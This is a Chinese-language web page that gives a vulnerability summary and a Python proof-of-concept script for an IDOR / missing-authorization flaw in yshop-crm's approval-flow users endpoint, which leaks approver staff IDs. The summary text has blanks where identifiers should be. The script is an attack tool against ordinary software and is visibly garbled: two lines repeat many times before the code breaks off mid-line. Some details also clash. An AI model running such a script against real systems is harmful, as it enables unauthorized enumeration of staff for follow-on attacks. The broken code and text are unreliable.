yshop-crm 审批流用户端点 IDOR 漏洞及 POC

漏洞关键信息总结 漏洞概述 漏洞类型：越权访问（IDOR） 漏洞位置： 的 文件 漏洞描述： 端点（ ）允许通过 参数查询审批流用户信息，存在越权访问风险。 影响范围 受影响系统： 模块 受影响端点： 影响对象：审批流用户信息（ 参数） 修复方案 修复建议：在 端点中增加权限校验，确保只有授权用户才能访问审批流用户信息。 修复代码示例： POC 代码 ```python #!/usr/bin/env python3 C08 - Broken Function Level Authorization: GET /admin-api/crm/flow/low-users yshop-crm (yshop-crm/yshop-crm) Vulnerability CredFlowController.flowUsersByIds carries on @PreAuthorize. The handler is a documented, reachable endpoint (declared in the OpenAPI document) that returns the approval-step composition of the tenant's approval workflows for a caller-supplied business object. For each step it discloses the step id, the flow id, the approval-step relation and - most importantly - the _admins string listing the internal user ids of the approvers. An account holding zero CRM permissions therefore obtains the approval topology and the numeric identifiers of the staff who approve contracts, receivables and invoices. These identifiers feed directly into the other findings in this report (e.g. the /crm/crm/receive and /crm/customer/send - above contracts, receivables and invoices. Social engineering and for mapping the internal org chart. Read-only proof: nothing is modified. Usage python3 C08_crm_flow_users.py --base-url http://127.0.0.1:8081 \ --token --flow-type contract --object-id 42 Enumerate all three workflow families python3 C08_crm_flow_users.py --base-url http://127.0.0.1:8081 \ --token --flow-type ALL --object-id 42 Exit codes: 0 = VULNERABLE, 1 = NOT_VULNERABLE, 2 = INCONCLUSIVE / usage error. import argparse import json import sys import urllib.error import urllib.request TIMEOUT = 20 FLOW_USERS = "/admin-api/crm/flow/low-users?flowUserId={id}" CONTROL = "/admin-api/crm/flow/flow?path=/path&appId={id}" TYPES = ["contract", "receivable", "invoice"] def call(base, method, path, token=None, tenant="1"): req = urllib.request.Request(base.rstrip('/') + path, method=method) if token: req.add_header("Authorization", "Bearer " + token) if tenant: req.add_header("tenant-id", str(tenant)) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as resp: raw, status = resp.read().decode("utf-8", "replace"), resp.status except urllib.error.HTTPError as e: raw, status = e.read().decode("utf-8", "replace"), e.code try: return status, json.loads(raw) except ValueError: return status, raw def main(): ap = argparse.ArgumentParser(description="yshop-crm C08 - approval topology disclosure") ap.add_argument("--base-url", required=True) ap.add_argument("--token", required=True, help="CRM_PRIV_TOKEN") ap.add_argument("--tenant-id", default="1") ap.add_argument("--flow-type", default=None, help="contract ap.add_argument("--object-id", type=int, default=1, help="id of the business object whose flow is queried (default: 1)") args = ap.parse_args() base, low, tenant = args.base_url, args.token, args.tenant_id types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" else [args.flow_type] st2, d2 = call(base, "GET", FLOW_USERS.format(id=args.object_id), low, tenant) types = TYPES if args.flow_type.upper() == "ALL" e

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

yshop-crm 审批流用户端点 IDOR 漏洞及 POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

yshop-crm 审批流用户端点 IDOR 漏洞及 POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！